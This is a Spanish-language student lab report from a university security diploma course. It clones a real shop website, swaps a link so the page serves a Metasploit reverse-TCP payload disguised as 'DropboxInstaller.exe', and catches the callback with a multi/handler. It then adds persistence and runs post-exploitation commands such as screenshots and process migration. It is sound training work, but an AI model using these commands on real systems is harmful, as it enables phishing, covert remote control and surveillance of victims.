LABORATORIO MALWARE EXPLOIT ON WINDOWS SERVER

PRESENTADO POR:
SANDRA MARCELA DIAZ DORIA

DOCENTE
ALBERTO PATERNINA

16 DE JUNIO

CORPORACIÓN UNIVERSITARIA RÉMINGTON

DIPLOMADO SEGURIDAD INFORMATICA
2022
Conceptos

Payload de tipo reverse: El reverse es un tipo de Shell en el que el equipo

objetivo se comunica de vuelta con la máquina atacante. La máquina atacante
tiene un puerto de escucha en el que se recibe la conexión de la víctima, ya sea
por la ejecución por si mima del exploit o a través de una vulnerabilidad que posea
al tener una aplicación desactualizada.

MSFvenom: es una combinación de Msfpayload y Msfencode, que coloca ambas

herramientas en una sola instancia de Framework. msfvenom reemplazó tanto a
msfpayload como a msfencode a partir del 8 de junio de 2015.

msfconsole : es probablemente la interfaz más popular para Metasploit

Framework (MSF). Proporciona una consola centralizada “todo en uno” y le
permite un acceso eficiente a prácticamente todas las opciones disponibles en
MSF. MSFconsole puede parecer intimidante al principio, pero una vez que
aprenda la sintaxis de los comandos, aprenderá a apreciar el poder de utilizar esta
interfaz.

wine : es una reimplementación de la interfaz de programación de aplicaciones

de Win16 y Win32 para sistemas operativos basados en Unix. Permite la ejecución
de programas diseñados para MS-DOS, y las versiones de Microsoft Windows
3.11, 95, 98, Me, NT, 2000, XP, Vista, 7, 8 y 10.

Resource Hacker: es una aplicación freeware de extracción de recursos

desarrollada por Angus Johnson para Windows. Se usa para modificar elementos
de programas o del sistema operativo, como iconos, extrayendo recursos de
programas ejecutables, bibliotecas de enlace dinámico, y ficheros. Enlace de
descarga: http://www.angusj.com/resourcehacker/

PSTools Suite: es un conjunto de herramientas que se pueden usar para la

administración remota de un PC, desde la consola de comandos de Windows.
Lo primero que vamos a hacer es utilizar un comando que nos permite activar la
arquitectura de 32 bits para poder instalar WINE, ya que WINE solamente emula
aplicaciones en 32 bits

Sudo dpkg —add-architecture i386

Actualizamos el gestor de paquetes

Sudo apt-get update

Una vez se actualiza los paquetes procedemos a instalar wine 32

Sudo apt-get install wine32

Ejecutamos y se procede con la instalación de wine

Habilitamos el servicio de postgresql y de apache2 dependiendo, de la aplicación

que se vaya a descargar o re direccionar a nuestro servidor, o solamente para
mostrar la página

Inicializamos los servicios y comprobamos el estado con los siguientes dos

comandos

Sudo systemctl start apache2. Service

Sudo systemctl status apache2. Service

De igual forma inicializamos los servicios en postgresql y verificamos que estén
activos

Sudo systemctl start postgresql. Service

Sudo systemctl status postgresql. Service

Ahora utilizamos httrack cual posibilita clonar la aplicación

Sudo apt-get install httrack

Ahora vamos a preparar el entorno donde se va a mostrar la página que se quiere
clonar, para esto utilizamos la instrucción de súper usuario seguido del comando
httrack, después colocamos la dirección de la página y por último la ruta en la cual
la vamos a copiar.

Utilizamos el comando ifconfig para conocer la dirección ip. Vemos que la

dirección que tenemos es la 192.168.1.7
Ahora colocamos la dirección en el navegador. Podemos ver cómo nos aparece la
página de mega que fue la ruta que utilizamos, lo que indica que lo hemos clonado
con éxito.

Hacemos el ejercicio con otra página web

https://alessoshop.com/ventas/en
Una vez hacemos el clonado de la página procedemos a buscar el archivo para
realizar la configuración del enlace del botón, en este caso yo escogí la opción de
instagram que me re direcciona a otra página. Para esto arrastraremos el archivo
desde kali a nuestro escritorio y lo abriremos con el IDE visual studio Code, una
vez abierto buscamos la ruta y cambiamos el nombre (DropboxInstaller.exe) y
guardamos el archivo.
Para seguir simplemente tomamos el archivo de nuestro escritorio al escritorio de
kali y de ahí utilizando el comando cp, lo copiamos a nuestra carpeta var

Sudo cp /home/kali/Desktop/en.html /var/www/html/alessoshop.com/ventas

Ahora lo que hacemos es movernos del directorio donde estamos con el comando
cd y posterior ejecutamos el comando

Sudo msfvenom –p Windows/meterpreter/reverse_tcp LHOST=192.168.1.7

LPORT=4444 –platform Windows –f exe > DropboxInstaller.exe
Inicializamos los servicios

Ahora procedemos a entrar a Windows server y desde ahí escribimos la dirección

y nos cargara enseguida la página, desde aquí descargaremos el archivo
Al descargar ejecutamos

Nos vamos a kali y abrimos una nueva terminal donde ejecutamos el comando
sudo msfconsole
Comandos

Use multi/handler

Set PAYLOAD Windows/meterpreter/reverese_tcp

Set lhost 192.168.1.7

Options

Run

help
Creamos la persistencia con el comando:

run persistence –x –u –i 30 -p 4444 –r 192.168.1.7

Ejecutamos algunos comandos

System commands/ ps: lista los procesos en ejecución

System commands/getpid: obtiene el identificador del proceso actual

Commands/ migrate: Nos permite migrar el servidor a otro proceso, en este

comando solo colocamos el comando migrate más el pid del proceso hacia dónde
vamos a migrar
User interfaces commands/ screenshot: Toma una captura de pantalla del
escritorio interactivo

Aquí nos dice que guardo el screen en la ruta /home/kali/LKOIGctR.jpeg

Networking commands/ netstat: muestra las conexiones de red

Fyle systems comands/dir: Nos permite listar archivos

System commands/ sysinfo: Obtiene información sobre el sistema remoto

System commands/ getuid: se obtiene el usuario con el que se ejecuta el

servidor

Networking commands/ arp: Muestra la memoria cache ARP del host

Commands /Machine_id: con este comando podremos ver la identificación de la
maquina vulnerada

User interfaces commands/enumdesktops: enumera todos los escritorios y

estaciones de ventana accesibles

System commands/localtime: Muestra la fecha y la hora local del sistema de

destino

User interfaces commands/ idletime: Devuelve la cantidad de segundos que el

usuario remoto ha estado inactivo

Fyle systems comands/Pwd: Imprime el directorio de trabajo, aquí nos muestra

la ruta donde se encuentra